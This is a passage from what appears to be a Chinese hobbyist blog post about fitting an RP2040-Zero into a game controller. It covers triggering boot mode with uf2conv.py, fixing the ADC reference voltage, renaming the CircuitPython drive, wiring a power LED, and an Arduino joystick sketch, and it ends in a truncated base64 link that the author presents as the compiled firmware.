尤其在下已經將 RP2040-Zero 放進 遊戲控制器 中,每次更改 韌體 都需要拆開外殼更加不便,甚至有機會損壞 改裝的線路</p>
<p>在下發現 Arduino IDE 使用 Raspberry Pi Pico 或 RP2040 的開發模組時<br/>
能夠控制 RP2040 載入到 起動模式,再將 uf2檔案 上載至 RP2040</p>
<p>Arduino IDE 使用的指令:</p>
<pre class="brush:bash">"${HOME}/.arduino15/packages/rp2040/tools/pqt-python3/"*"/python3" -I "${HOME}/.arduino15/packages/rp2040/hardware/rp2040/"*"/tools/uf2conv.py" --serial "/dev/ttyACM0" --family "RP2040" --deploy "/tmp/arduino_build_"*"/"*".ino.uf2"</pre>
<p>由於 <span class="mra-highlighter">--deploy</span> 後的參數是 uf檔案,在下估計這個指令會將 RP2040 載入至 起動模式 後再將 uf檔案 上載<br/>
因此在下認為只需要將 --deploy 連同 參數 省卻,便只會載入到 起動模式,而不會立即上載 uf2檔案,結果正確<br/>
(--serial 的 參數 需要修改為合適的 連接埠)</p>
<p>使用這種方法便可以不需要物理接觸而載入到 起動模式<br/>
將整個 <span class="mra-highlighter">${HOME}/.arduino15/packages/rp2040/hardware/rp2040/"*"/tools/</span> 目錄複製<br/>
便可以免除安裝 Arduino IDE 及 RP2040 開發模組</p>
<a name="補充資料RP2040的ADC參考"></a><h5 class="mra-h5">RP2040 的 ADC參考</h5>
<p>CircuitPython 使用 <span class="mra-highlighter">16位元ADC</span> , 即是 <span class="mra-highlighter">0 至 65535</span><br/>
當轉軸靜止是應該會保持在正中央位置,理論上數值應該 <span class="mra-highlighter">接近32768</span><br/>
(基於物理限制,不可能完美地保持在正中央)<br/>
但在下測試時,卻顯示 <span class="mra-highlighter">接近48000</span>,即是數值無法保持在正中央<br/>
而且當 其中一個轉軸的數值 增加時, 其他轉軸的數值 亦同時增加<br/>
但 轉軸的數值 減少時,則沒有影響 其他轉軸的數值</p>
<p>在下使用另一塊 RP2040-Zero 測試,亦有相同問題;但使用 <span class="mra-highlighter">Arduino Nano</span> 則沒有問題<br/>
在下懷疑是 CircuitPython 處理 ADC 有不正確,因此使用 <span class="mra-highlighter">Arduino IDE</span> 測試,同樣無法正確顯示轉軸靜止時的數值<br/>
(Arduino IDE 使用 <span class="mra-highlighter">10位元ADC</span> , 即是 <span class="mra-highlighter">0 至 1023</span> ,但轉軸數值顯示 <span class="mra-highlighter">接近780</span>)<br/>
最後認為是 RP2040-Zero 的 <span class="mra-highlighter">ADC參考</span> 不是 5V ,因此改為使用 3V3 ,結果輸出正確的數值</p>
<p>在下查看 RP2040 的規格書,才發現 RP2040 的 ADC參考 是使用 3.3V 而不是 5V<br/>
RP2040-Zero 的 5V 實際是 <span class="mra-highlighter">VBUS</span> ,是由 USB 提供電源給 RP2040-Zero<br/>
因此當 轉軸的電源 連接到 5V 後,由於使用錯誤的 ADC參考 ,導致轉軸數值錯誤</p>
<p>在下估計是原本 USB遊戲控制器 的 微控制器 的 ADC參考 使用 5V ,因此使用 萬用標 量度到 5V</p>
<a name="補充資料修改CIRCUITPY的名稱"></a><h5 class="mra-h5">修改 CIRCUITPY 的名稱</h5>
<p>由於所有安裝 CircuitPython 的開發板,掛載時都會顯示 CIRCUITPY<br/>
如果同時掛載超過一塊 CircuitPython 開發板,很容易選擇錯誤的開發板而錯誤修改檔案</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4VAIPeSdBUjCmIsakIiFePS_oweSCoPmFE3KiQ3-U7-DSw57ZyDRYtjpqmujY6ZOxv5M4qF0Go4e6qYG9J9awWLYINPA0c3o_0_78YLHH9SerZjL0PFl3IrqxqQsFG1MR155ED1DuspaDQOYhXW68yggz_NY3cwVTA493WWNKfNdyaqLGVcDNpHOXrw/w0/gamepad-mod-rp2040-034.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4VAIPeSdBUjCmIsakIiFePS_oweSCoPmFE3KiQ3-U7-DSw57ZyDRYtjpqmujY6ZOxv5M4qF0Go4e6qYG9J9awWLYINPA0c3o_0_78YLHH9SerZjL0PFl3IrqxqQsFG1MR155ED1DuspaDQOYhXW68yggz_NY3cwVTA493WWNKfNdyaqLGVcDNpHOXrw/w600/gamepad-mod-rp2040-034.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9yqIz_vkCEMXN6fdgX15cpY5h1IYjWubxFo7z9y4XaiygCf_Pb7XMFyRiv8ITXoI8iFt-jCAfbEfdeWntk9dnk0roGadnmHQOdOQ-uCk6Jdcdlf6wLXDB46UBpJZpQqn6DEqn1V1Czns9qVK_xg5gs8tUnTQlNN2yrgWz308cix20_MlkyKdtsuIUTcA/w0/gamepad-mod-rp2040-035.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9yqIz_vkCEMXN6fdgX15cpY5h1IYjWubxFo7z9y4XaiygCf_Pb7XMFyRiv8ITXoI8iFt-jCAfbEfdeWntk9dnk0roGadnmHQOdOQ-uCk6Jdcdlf6wLXDB46UBpJZpQqn6DEqn1V1Czns9qVK_xg5gs8tUnTQlNN2yrgWz308cix20_MlkyKdtsuIUTcA/w600/gamepad-mod-rp2040-035.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTuKuCM7RZwZdrSq9AvlndgdhEui0gkF9KFiUuoMWHznDiIDpiJZgXQZQdFlN0SPAD29WfSIBqXxR2d5H5SnxnLSBV72YI3bM9gF8dwsPLncC9qJqGl0JPbWdc4Bi05jvJ_prAx4sNDScPbKpL5EjiCeQUAntQ8R6OA0SRbcb2lz2U7NTOrrXRiHXxHP4/w0/gamepad-mod-rp2040-036.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTuKuCM7RZwZdrSq9AvlndgdhEui0gkF9KFiUuoMWHznDiIDpiJZgXQZQdFlN0SPAD29WfSIBqXxR2d5H5SnxnLSBV72YI3bM9gF8dwsPLncC9qJqGl0JPbWdc4Bi05jvJ_prAx4sNDScPbKpL5EjiCeQUAntQ8R6OA0SRbcb2lz2U7NTOrrXRiHXxHP4/w600/gamepad-mod-rp2040-036.png"/></a></div>
<p>因此可以將名稱更改,方便管理不同用途的 CircuitPython 開發板<br/>
使用任何 <span class="mra-highlighter">磁碟管理軟件</span>,將 CircuitPython 的 <span class="mra-highlighter">分割區標籤</span> 修改即可</p>
<a name="補充資料亮著LED"></a><h5 class="mra-h5">亮著 LED</h5>
<p>由於 Analog按鈕 已經失效,顯示啟動 Analog 的 LED 亦失去作用<br/>
但在下不想浪費,打算將 LED 當作電源接駁的指示燈<br/>
即是當 遊戲控制器 連接電源後 LED 便會立即亮著</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfIKN4jNgfpGKrw5o8P0jdN6pN2DzeMn09CLLJjlrwpdEyDAXDFKi6iiDrHwUWpKxajuYQueljUW6NnrwlWryVbQPGvNWRd70wcPFxFkEIhldOIXPjhPHMDJAldJnJ3I1boUNGmDfGMzf8qdgGBhsuBmt8bla5MA5uyYUDydQuNguHrwCaJXQfOGaSyUc/w0/gamepad-mod-rp2040-037.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfIKN4jNgfpGKrw5o8P0jdN6pN2DzeMn09CLLJjlrwpdEyDAXDFKi6iiDrHwUWpKxajuYQueljUW6NnrwlWryVbQPGvNWRd70wcPFxFkEIhldOIXPjhPHMDJAldJnJ3I1boUNGmDfGMzf8qdgGBhsuBmt8bla5MA5uyYUDydQuNguHrwCaJXQfOGaSyUc/w600/gamepad-mod-rp2040-037.jpg"/></a></div>
<p>檢查線路後,發現 LED 原本已經接駁電源,只是沒有連接 接地<br/>
因此只需要將 LED負極 連接到 接地 便是完整電路<br/>
為了避免因為電壓過大而燒毀 LED ,因此先焊接 電阻 再焊接到 接地<br/>
由於空間所限,常用的 <span class="mra-highligher">碳膜電阻</span> 太大,因此改用 0603 SMD電阻<br/>
而且尺寸剛好不需要額外線路便可以直接將 LED負極 及 接地 連接<br/>
(在下使用的 2000 SMD電阻 ,電阻值為 200Ω)</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1m-6kOw37aIj68DRmFNlr9aRObfesHu6oqSImjzDxLG052A4clndNlZWwZD1JvWNIrxtkXvadCD1qxT05F0ZRtjmiuDwjhjiGYZpeXO7GzeE_ViLfdGjThyphenhyphenZ63BrD5wCTSo_CIrmkAQ8q1rfj_LfJEsVhVTlABOEiryFqYtq0Y_8V9aDVjBH3Nmp3zfU/w0/gamepad-mod-rp2040-038.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1m-6kOw37aIj68DRmFNlr9aRObfesHu6oqSImjzDxLG052A4clndNlZWwZD1JvWNIrxtkXvadCD1qxT05F0ZRtjmiuDwjhjiGYZpeXO7GzeE_ViLfdGjThyphenhyphenZ63BrD5wCTSo_CIrmkAQ8q1rfj_LfJEsVhVTlABOEiryFqYtq0Y_8V9aDVjBH3Nmp3zfU/w600/gamepad-mod-rp2040-038.jpg"/></a></div>
<p>通電後 LED 便會亮著<br/>
雖然效果比較暗,但亮度足夠顯示電源接通與否,而且偏暗亦可以令 LED 較耐用</p>
<a name="補充資料使用ArduinoIDE"></a><h5 class="mra-h5">使用 Arduino IDE</h5>
<p>雖然 CircuitPython 能夠將 RP2040 當作 USB儲存裝置<br/>
但如果使用者胡亂修改或不慎將內容刪除,會影響操作效果或令操作失效<br/>
因此在下亦製作不容易被修改內容的 Arduino 版本</p>
<pre class="brush:cpp">#include <Joystick.h>
#define BUTTON_COUNT 16
#define AXIS_COUNT 4
const PROGMEM byte BUTTON_PINS[] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15
};
const PROGMEM byte BUTTON_KEYS[] = {
4, 2, 1, 3, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 14, 16
};
const PROGMEM byte AXIS_PINS[] = {
26, 27, 28, 29
};
void setup() {
for (byte i = 0; i < BUTTON_COUNT; i++) {
pinMode(BUTTON_PINS[i], INPUT_PULLUP);
}
for (byte i = 0; i < AXIS_COUNT; i++) {
pinMode(AXIS_PINS[i], INPUT);
}
Joystick.begin();
}
void loop() {
for (byte i = 0; i < BUTTON_COUNT; i++) {
if (!digitalRead(BUTTON_PINS[i])) {
Joystick.button(BUTTON_KEYS[i], true);
} else {
Joystick.button(BUTTON_KEYS[i], false);
}
}
Joystick.X(analogRead(AXIS_PINS[0]));
Joystick.Y(analogRead(AXIS_PINS[1]));
Joystick.Z(analogRead(AXIS_PINS[2]));
Joystick.Zrotate(analogRead(AXIS_PINS[3]));
}</pre>
<p>Arduino 版本 不會被當作 USB儲存裝置,因此相比 CircuitPython 較難被一般使用者修改內容</p>
<p>由於 RP2040 的 Arduino 開發模組已經包含 HID功能,因此不需要額外函式庫便可以立即製作 HID程式<br/>
程式碼亦與 CircuitPython 相似,但由於 Arduino 使用 AVR-C 能夠直接控制微控制器,因此效能比較快</p>
<p>在下將已經編譯的 uf2檔案 製作,只需要將 RP2040 載入到 起動模式,並將 uf2檔案 複製到 RPI-RP2 即可使用<br/>
減省編譯的操作及時間</p>
<a href="data:text/plain;base64,
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
